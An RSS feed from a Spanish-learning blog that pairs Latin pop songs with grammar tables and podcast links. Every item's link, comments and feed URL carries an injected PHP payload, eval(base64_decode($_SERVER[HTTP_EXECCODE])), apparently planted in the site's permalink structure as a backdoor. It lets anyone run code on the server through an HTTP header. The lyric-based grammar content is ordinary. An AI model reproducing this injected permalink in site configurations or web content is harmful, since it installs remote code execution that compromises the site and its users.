<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
	xmlns:media="http://search.yahoo.com/mrss/"
>

<channel>
	<title>buenaspalabras.com</title>
	<atom:link href="http://buenaspalabras.com/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://buenaspalabras.com</link>
	<description></description>
	<pubDate>Tue, 21 Oct 2008 07:22:20 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
		<!-- podcast_generator="podPress/8.8" -->
		<copyright>&#xA9; </copyright>
		<managingEditor>admin@buenaspalabras.com ()</managingEditor>
		<webMaster>admin@buenaspalabras.com()</webMaster>
		<category></category>
		<itunes:keywords></itunes:keywords>
		<itunes:subtitle></itunes:subtitle>
		<itunes:summary></itunes:summary>
		<itunes:author></itunes:author>
		<itunes:category text="Society &amp; Culture"/>
		<itunes:owner>
			<itunes:name></itunes:name>
			<itunes:email>admin@buenaspalabras.com</itunes:email>
		</itunes:owner>
		<itunes:block>No</itunes:block>
		<itunes:explicit>no</itunes:explicit>
		<itunes:image href="http://buenaspalabras.com/wp/wp-content/plugins/podpress/images/powered_by_podpress_large.jpg" />
		<image>
			<url>http://buenaspalabras.com/wp/wp-content/plugins/podpress/images/powered_by_podpress.jpg</url>
			<title>buenaspalabras.com</title>
			<link>http://buenaspalabras.com</link>
			<width>144</width>
			<height>144</height>
		</image>
		<item>
		<title>Los Fabulosos Cadillacs - Manuel Santillán, El León</title>
		<link>http://buenaspalabras.com/2008/10/02/manuel-santillan-el-leon/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://buenaspalabras.com/2008/10/02/manuel-santillan-el-leon/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 02 Oct 2008 16:12:13 +0000</pubDate>
		<dc:creator>Geoff</dc:creator>
		
		<category><![CDATA[Argentina]]></category>

		<guid isPermaLink="false">http://buenaspalabras.com/wp/?p=44</guid>
		<description><![CDATA[
WATCH the video at YouTube
READ the lyrics
Los Fabulosos Cadillacs at iTunes
Los Fabulosos Cadillacs Official Site
Los Fabulosos Cadillacs at Wikipedia: English &#124; Español
Los Fabulosos Cadillacs at Myspace

 This song was chosen by Alejandro - listen to the podcast.




Gramática




contracción
Van al mar
(a+el)







imperativo negativo
nunca se olviden
(olvidarse - ustedes)







participio
El leon está escondido
(esconder)







pasado imperfecto
las palabras que eran del leon
(ser - ellas)



los oficiales [...]]]></description>
			<content:encoded><![CDATA[<ul>
<li><strong>WATCH </strong>the video at <a href="http://www.dailymotion.com/playlist/xlctv_cjunk00_ricky-martin/video/x3i6zp_riky-martin-y-chambao-tu-recuerdo-b_music"></a><a href="http://www.youtube.com/watch?v=a0gvolaWzRI" target="_blank">YouTube</a></li>
<li><strong>READ </strong>the <a href="http://www.lyricsdownload.com/los-fabulosos-cadillacs-manuel-santillan-el-leon-lyrics.html">lyrics</a></li>
<li><span lang="EN-GB">Los Fabulosos Cadillacs </span>at <a href="http://www.apple.com/search/ipoditunes/?q=Los fabulosos Cadillacs">iTunes</a></li>
<li><span lang="EN-GB">Los Fabulosos Cadillacs</span> <a href="http://www.fabulosos-cadillacs.com/">Official Site</a></li>
<li><span lang="EN-GB">Los Fabulosos Cadillacs </span>at Wikipedia: <a href="http://en.wikipedia.org/wiki/Los_Fabulosos_Cadillacs">English</a> | <a href="http://es.wikipedia.org/wiki/Los_Fabulosos_Cadillacs">Español</a></li>
<li><span lang="EN-GB">Los Fabulosos Cadillacs </span>at <a href="http://www.myspace.com/fabulososcadillacs">Myspace</a></li>
</ul>
<p><a href="http://buenaspalabras.com/wp/?p=19"><img src="http://buenaspalabras.com/i/pcast_20.jpg" alt="Podcast" width="20" height="20" /></a> This song was chosen by Alejandro - listen to the <a href="http://buenaspalabras.com/wp/?p=43">podcast</a>.</p>
<hr />
<table border="0" cellspacing="0" cellpadding="0" width="100%">
<tbody>
<tr>
<td width="25%" height="2"><strong><span style="font-size: small;">Gramática</span></strong></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">contracción</span></strong></td>
<td width="35%">Van al mar</td>
<td width="40%">(a+el)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">imperativo negativo</span></strong></td>
<td width="35%">nunca se olviden</td>
<td width="40%">(olvidarse - ustedes)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">participio</span></strong></td>
<td width="35%">El leon está escondido</td>
<td width="40%">(esconder)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">pasado imperfecto</span></strong></td>
<td width="35%">las palabras que eran del leon</td>
<td width="40%">(ser - ellas)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#e8e8e8">los oficiales que desconcertados miraban</td>
<td width="40%">(mirar)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">pasado indefinido</span></strong></td>
<td width="35%">abandonaron la institucion</td>
<td width="40%">(abandonar - ellos)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#e8e8e8">el leon Santillan pronunció</td>
<td width="40%">( pronunciar - èl)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%">Los oficiales que vieron</td>
<td width="40%">(ver - ellos)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#e8e8e8">murmuró llorando</td>
<td width="40%">(murmurar - èl)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%">y les dijo</td>
<td width="40%">(decir - èl)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">pronombre directo</span></strong></td>
<td width="35%">la policia lo rodea</td>
<td width="40%">(lo - èl)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">pronombre indirecto</span></strong></td>
<td width="35%">y les dijo</td>
<td width="40%">(les - ellos)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#e8e8e8">abre fuego y le da</td>
<td width="40%">(le - èl)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">pronombre relativo</span></strong></td>
<td width="35%">y cuales eran</td>
<td width="40%">(cuales)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">verbo irregular</span></strong></td>
<td width="35%">Van al mar</td>
<td width="40%">(ir - ellos)</td>
</tr>
</tbody>
</table>
]]></content:encoded>
			<wfw:commentRss>http://buenaspalabras.com/2008/10/02/manuel-santillan-el-leon/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Alejandro, 18th August 2008</title>
		<link>http://buenaspalabras.com/2008/10/02/alejandro-18th-august-2008/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://buenaspalabras.com/2008/10/02/alejandro-18th-august-2008/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 02 Oct 2008 15:30:42 +0000</pubDate>
		<dc:creator>Geoff</dc:creator>
		
		<category><![CDATA[Argentina]]></category>

		<category><![CDATA[Podcasts]]></category>

		<guid isPermaLink="false">http://buenaspalabras.com/wp/?p=43</guid>
		<description><![CDATA[Lorenzo talks to Alejandro about his life in Barcelona and his reasons for moving there from his home town of Mendoza in Argentina.
Chosen song:  Manuel Santillán, El León by Los Fabulosos Cadillacs.
Read the transcript…
Listen:

]]></description>
			<content:encoded><![CDATA[<p>Lorenzo talks to Alejandro about his life in Barcelona and his reasons for moving there from his home town of Mendoza in Argentina.</p>
<p>Chosen song:  <a href="http://buenaspalabras.com/wp/?p=44">Manuel Santillán, El León</a> by Los Fabulosos Cadillacs.</p>
<p><strong>Read the <a href="../../podcasts/BuenasPalabras_com - Podcast 002 Alejandro.pdf" target="_blank">transcript…</a></strong></p>
<p><strong>Listen:</strong></p>
<p><strong><a href="../../podcasts/BuenasPalabras_com%20-%20Podcast%20001%20Ana.pdf"></a></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://buenaspalabras.com/2008/10/02/alejandro-18th-august-2008/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
			<enclosure url="http://media.libsyn.com/media/buanaspalabras/BuenasPalabras_com_20080818_Alejandro.mp3" length="7744947" type="audio/mpeg"/>
<itunes:duration>8:04</itunes:duration>
		<itunes:subtitle>Lorenzo talks to Alejandro about his life in Barcelona and his reasons for moving there from his home town of Mendoza in Argentina.

Chosen song:  ...</itunes:subtitle>
		<itunes:summary>Lorenzo talks to Alejandro about his life in Barcelona and his reasons for moving there from his home town of Mendoza in Argentina.

Chosen song:  Manuel Santillaacute;n, El Leoacute;n by Los Fabulosos Cadillacs.

Read the transcripthellip;

Listen:

</itunes:summary>
		<itunes:keywords>Argentina,,Podcasts</itunes:keywords>
		<itunes:author>admin@buenaspalabras.com</itunes:author>
		<itunes:explicit>no</itunes:explicit>
		<itunes:block>No</itunes:block>
	</item>
		<item>
		<title>Veinte años - Diego el Cigala con Bebo Valdés</title>
		<link>http://buenaspalabras.com/2008/08/18/veinte-anos/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://buenaspalabras.com/2008/08/18/veinte-anos/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 18 Aug 2008 16:20:08 +0000</pubDate>
		<dc:creator>Geoff</dc:creator>
		
		<category><![CDATA[Cuba]]></category>

		<category><![CDATA[España]]></category>

		<guid isPermaLink="false">http://buenaspalabras.com/wp/?p=38</guid>
		<description><![CDATA[
WATCH the video at YouTube
(also Compay Segundo y Omara Portuondo version from Buena Vista Social Club)
READ the lyrics, including English translation

Diego el Cigala at iTunes +  (also &#8216;Bebo &#38; Cigala&#8217;)
Diego el Cigala - Official Site
Diego el Cigala at Wikipedia: English &#124; Español
Bebo Valdés at iTunes

Diego el Cigala - Official Site
Bebo Valdés at Wikipedia: English &#124; [...]]]></description>
			<content:encoded><![CDATA[<ul>
<li><strong>WATCH </strong>the video at <a href="http://es.youtube.com/watch?v=5T-sotRUSVI" target="_blank">YouTube</a><br />
(also Compay Segundo y Omara Portuondo <a href="http://es.youtube.com/watch?v=EGrZcozdSF8" target="_blank">version </a>from Buena Vista Social Club)</li>
<li><strong>READ </strong>the <a href="http://www.lyriczz.com/lyrics/Buena-Vista-Social-Club/6531-Veinte-A%C3%B1os/">lyrics, including English translation<br />
</a></li>
<li>Diego el Cigala at <a href="http://www.apple.com/search/ipoditunes/?q=Diego el Cigala">iTunes </a>+  (also <a href="http://www.apple.com/search/ipoditunes/?q=Bebo Cigala">&#8216;Bebo &amp; Cigala&#8217;</a>)</li>
<li>Diego el Cigala - <a href="http://www.diegoelcigala.com/">Official Site</a></li>
<li>Diego el Cigala at Wikipedia: <a href="http://en.wikipedia.org/wiki/Diego_El_Cigala">English</a> | <a href="http://es.wikipedia.org/wiki/Diego_el_Cigala">Español</a></li>
<li>Bebo Valdés at <a href="http://www.apple.com/search/ipoditunes/?q=Bebo Valdés">iTunes<br />
</a></li>
<li>Diego el Cigala - <a href="http://www.diegoelcigala.com/">Official Site</a></li>
<li>Bebo Valdés at Wikipedia: <a href="http://en.wikipedia.org/wiki/Bebo_Vald%C3%A9s">English</a> | <a href="http://es.wikipedia.org/wiki/Diego_el_Cigala">Español</a></li>
</ul>
<table border="0" cellspacing="0" cellpadding="0" width="100%">
<tbody>
<tr>
<td><strong><span style="font-size: small;">Gramática</span></strong></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="0" cellpadding="0" width="100%">
<tbody>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">pasado indefinido</span></strong></td>
<td width="35%">fui la ilusión</td>
<td width="40%">(ser - yo)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">subjuntivo</span></strong></td>
<td width="35%">qué te importa que te ame</td>
<td width="40%">(amar - yo)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">subjuntivo imperfecto</span></strong></td>
<td width="35%">si las cosas &#8230; se pudieran alcanzar</td>
<td width="40%">(poder - ellas)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#f4f4f4">tú me quisieras lo mismo</td>
<td width="40%">(querer - tù)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%"></td>
<td width="40%"></td>
</tr>
</tbody>
</table>
]]></content:encoded>
			<wfw:commentRss>http://buenaspalabras.com/2008/08/18/veinte-anos/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Tu recuerdo - Ricky Martin con La Mari de Chambao</title>
		<link>http://buenaspalabras.com/2008/08/18/tu-recuerdo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://buenaspalabras.com/2008/08/18/tu-recuerdo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 18 Aug 2008 15:57:47 +0000</pubDate>
		<dc:creator>Geoff</dc:creator>
		
		<category><![CDATA[España]]></category>

		<category><![CDATA[Puerto Rico]]></category>

		<guid isPermaLink="false">http://buenaspalabras.com/wp/?p=36</guid>
		<description><![CDATA[
WATCH the video at YouTube or Daily Motion
READ the lyrics
An English translation
Ricky Martin at iTunes

Ricky Martin - Official Site
Ricky Martin at Wikipedia: English &#124; Español
La Mari at Wikipedia: Español

Related: Chambao, Ahi estás tú




Gramática











contracción
al corazón
(a + el)



del lugar
(de + el)







diminutivo
velita
(vela)







imperativo
piensa en mí
(pensar)







imperativo negativo
no dejes de pensar en mí
(dejar - tù)







participio
atrapado
(atrapar)







pasado indefinido
me fui
(irse - yo)



puse una velita
(poner [...]]]></description>
			<content:encoded><![CDATA[<ul>
<li><strong>WATCH </strong>the video at <a href="http://es.youtube.com/watch?v=92qN2d97xKw" target="_blank">YouTube</a> or <a href="http://www.dailymotion.com/relevance/search/riky%2Bmartin%2By%2Bchambao%2B-%2Btu%2Brecuerdo/video/x3i6zp_riky-martin-y-chambao-tu-recuerdo-b_music" target="_blank">Daily Motion</a></li>
<li><strong>READ </strong>the <a href="http://www.musica.com/letras.asp?letra=912771">lyrics</a></li>
<li>An English <a href="http://www.allthelyrics.com/forum/spanish-lyrics-translation/21151-ricky-martin-pegate.html">translation</a></li>
<li>Ricky Martin at <a href="http://www.apple.com/search/ipoditunes/?q=Ricky Martin">iTunes<br />
</a></li>
<li>Ricky Martin - <a href="http://www.rickymartin.com/">Official Site</a></li>
<li>Ricky Martin at Wikipedia: <a href="http://en.wikipedia.org/wiki/Ricky_Martin">English</a> | <a href="http://es.wikipedia.org/wiki/Ricky_Martin">Español</a></li>
<li>La Mari at Wikipedia: <a href="http://es.wikipedia.org/wiki/La_Mari">Español</a></li>
</ul>
<p>Related: Chambao, <a href="http://buenaspalabras.com/wp/?p=22"><span><em>Ahi estás tú</em></span></a></p>
<hr />
<table border="0" cellspacing="0" cellpadding="0" width="100%">
<tbody>
<tr>
<td><strong><span style="font-size: small;">Gramática</span></strong></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="0" cellpadding="0" width="100%">
<tbody>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">contracción</span></strong></td>
<td width="35%">al corazón</td>
<td width="40%">(a + el)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#e8e8e8">del lugar</td>
<td width="40%">(de + el)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">diminutivo</span></strong></td>
<td width="35%">velita</td>
<td width="40%">(vela)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">imperativo</span></strong></td>
<td width="35%">piensa en mí</td>
<td width="40%">(pensar)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">imperativo negativo</span></strong></td>
<td width="35%">no dejes de pensar en mí</td>
<td width="40%">(dejar - tù)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">participio</span></strong></td>
<td width="35%">atrapado</td>
<td width="40%">(atrapar)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">pasado indefinido</span></strong></td>
<td width="35%">me fui</td>
<td width="40%">(irse - yo)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#e8e8e8">puse una velita</td>
<td width="40%">(poner - yo)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%">tú te fuiste</td>
<td width="40%">(irse - tù)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">plural irregular</span></strong></td>
<td width="35%">veces</td>
<td width="40%">(vez)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">pronombre directo</span></strong></td>
<td width="35%">te tengo que olvidar</td>
<td width="40%">(te)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">pronombre indirecto</span></strong></td>
<td width="35%">pero yo le puse una velita</td>
<td width="40%">(le)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">pronombre relativo</span></strong></td>
<td width="35%">no sé lo que pensar</td>
<td width="40%">(lo que)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">subjuntivo</span></strong></td>
<td width="35%">para que pienses</td>
<td width="40%">(pensar - tù)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">verbo irregular</span></strong></td>
<td width="35%">me quieren matar</td>
<td width="40%">(querer - ellos)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#e8e8e8">sé que te tengo que olvidar</td>
<td width="40%">(saber - yo)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%">siento</td>
<td width="40%">(sentir - yo)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#e8e8e8">tengo</td>
<td width="40%">(tener - yo)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%">tu recuerdo sigue aquí</td>
<td width="40%">(seguir)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#e8e8e8">va</td>
<td width="40%">(ir - èl)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%">viene</td>
<td width="40%">(venir - èl)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">verbo reflexivo</span></strong></td>
<td width="35%">tu recuerdo no se va</td>
<td width="40%">(irse)</td>
</tr>
</tbody>
</table>
]]></content:encoded>
			<wfw:commentRss>http://buenaspalabras.com/2008/08/18/tu-recuerdo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Sin documentos - Los Rodriguez</title>
		<link>http://buenaspalabras.com/2008/08/18/sin-documentos/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://buenaspalabras.com/2008/08/18/sin-documentos/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 18 Aug 2008 15:48:59 +0000</pubDate>
		<dc:creator>Geoff</dc:creator>
		
		<category><![CDATA[Argentina]]></category>

		<category><![CDATA[España]]></category>

		<guid isPermaLink="false">http://buenaspalabras.com/wp/?p=35</guid>
		<description><![CDATA[
WATCH the video at YouTube
READ the lyrics
An English translation
Los Rodriguez at iTunes

Los Rodriguez  at Wikipedia: English &#124; Español

Related&#8230; former band member Andrés Calamaro&#8217;s solo single Flaca.




Gramática











con + pronombre
contigo
(tigo)







condicional
estaría
(estar)







futuro
lo haré
(hacer - yo)



vendré
(venir - yo)







gerundio
bebiendo
(beber)







imperativo
déja(me)
(dejar - tù)







pasado indefinido
tuvimos
(tener - nosotros)







subjuntivo
déjame que te cierre los ojos
(cerrar - yo)



quiero ser el único que te muerda
(morder)



]]></description>
			<content:encoded><![CDATA[<ul>
<li><strong>WATCH </strong>the video at <a href="http://es.youtube.com/watch?v=BM12OLCpCYY" target="_blank">YouTube</a></li>
<li><strong>READ </strong>the <a href="http://www.musica.com/letras.asp?letra=94304">lyrics</a></li>
<li>An English <a href="http://www.facetheissue.com/community/blogs/viewblog.php?userid=7465&amp;entry=942">translation</a></li>
<li>Los Rodriguez at <a href="http://www.apple.com/search/ipoditunes/?q=Los Rodriguez">iTunes<br />
</a></li>
<li>Los Rodriguez  at Wikipedia: <a href="http://en.wikipedia.org/wiki/Los_Rodr%C3%ADguez">English</a> | <a href="http://es.wikipedia.org/wiki/Los_Rodr%C3%ADguez">Español</a></li>
</ul>
<p>Related&#8230; former band member<!--[if gte mso 9]><xml> <w:WordDocument> <w:View>Normal</w:View> <w:Zoom>0</w:Zoom> <w:HyphenationZone>21</w:HyphenationZone> <w:PunctuationKerning /> <w:ValidateAgainstSchemas /> <w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid> <w:IgnoreMixedContent>false</w:IgnoreMixedContent> <w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText> <w:Compatibility> <w:BreakWrappedTables /> <w:SnapToGridInCell /> <w:WrapTextWithPunct /> <w:UseAsianBreakRules /> <w:DontGrowAutofit /> </w:Compatibility> <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel> </w:WordDocument> </xml><![endif]--><!--[if gte mso 9]><xml> <w:LatentStyles DefLockedState="false" LatentStyleCount="156"> </w:LatentStyles> </xml><![endif]--> Andrés Calamaro&#8217;s solo single <a href="http://buenaspalabras.com/wp/?p=18 ">Flaca</a>.</p>
<hr />
<table border="0" cellspacing="0" cellpadding="0" width="100%">
<tbody>
<tr>
<td><strong><span style="font-size: small;">Gramática</span></strong></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="0" cellpadding="0" width="100%">
<tbody>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">con + pronombre</span></strong></td>
<td width="35%">contigo</td>
<td width="40%">(tigo)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">condicional</span></strong></td>
<td width="35%">estaría</td>
<td width="40%">(estar)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">futuro</span></strong></td>
<td width="35%">lo haré</td>
<td width="40%">(hacer - yo)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#f4f4f4">vendré</td>
<td width="40%">(venir - yo)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">gerundio</span></strong></td>
<td width="35%">bebiendo</td>
<td width="40%">(beber)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">imperativo</span></strong></td>
<td width="35%">déja(me)</td>
<td width="40%">(dejar - tù)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">pasado indefinido</span></strong></td>
<td width="35%">tuvimos</td>
<td width="40%">(tener - nosotros)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">subjuntivo</span></strong></td>
<td width="35%">déjame que te cierre los ojos</td>
<td width="40%">(cerrar - yo)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#f4f4f4">quiero ser el único que te muerda</td>
<td width="40%">(morder)</td>
</tr>
</tbody>
</table>
]]></content:encoded>
			<wfw:commentRss>http://buenaspalabras.com/2008/08/18/sin-documentos/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Si tú no vuelves - Miguel Bosè con Shakira</title>
		<link>http://buenaspalabras.com/2008/08/12/si-tu-no-vuelves/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://buenaspalabras.com/2008/08/12/si-tu-no-vuelves/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 12 Aug 2008 19:13:25 +0000</pubDate>
		<dc:creator>Geoff</dc:creator>
		
		<category><![CDATA[Colombia]]></category>

		<category><![CDATA[España]]></category>

		<guid isPermaLink="false">http://buenaspalabras.com/wp/?p=34</guid>
		<description><![CDATA[
WATCH the video at YouTube
READ the lyrics
An English translation
Miguel Bosè at iTunes

Miguel Bosè - Official Site
Miguel Bosè at Wikipedia: English &#124; Español 
Shakira at iTunes

Shakira - Official Site
Shakira  at Wikipedia: English &#124; Español





Gramática











futuro
cada noche vendrá una estrella
(venir)



caminaré sin tí
(caminar - yo)



escucharé por si
(escuchar - yo)



esperaré
(esperar - yo)



lo que haré
(hacer - yo)



me quedaré aquí
(quedarse - yo)



mi [...]]]></description>
			<content:encoded><![CDATA[<ul>
<li><strong>WATCH </strong>the video at <a href="http://es.youtube.com/watch?v=JQkMSj2gfc8&amp;feature=related" target="_blank">YouTube</a></li>
<li><strong>READ </strong>the <a href="http://letras.terra.com.br/bose-miguel/5278/">lyrics</a></li>
<li>An English <a href="http://www.allthelyrics.com/forum/spanish-lyrics-translation/22925-si-tu-no-vuelves.html">translation</a></li>
<li>Miguel Bosè at <a href="http://www.apple.com/search/ipoditunes/?q=Miguel Bosè">iTunes<br />
</a></li>
<li>Miguel Bosè - <a href="http://www.miguelboseonline.net/">Official Site</a></li>
<li>Miguel Bosè at Wikipedia: <a href="http://en.wikipedia.org/wiki/Miguel_Bos%C3%A9">English</a> | <a href="http://es.wikipedia.org/wiki/Miguel_Bos%C3%A8">Español </a></li>
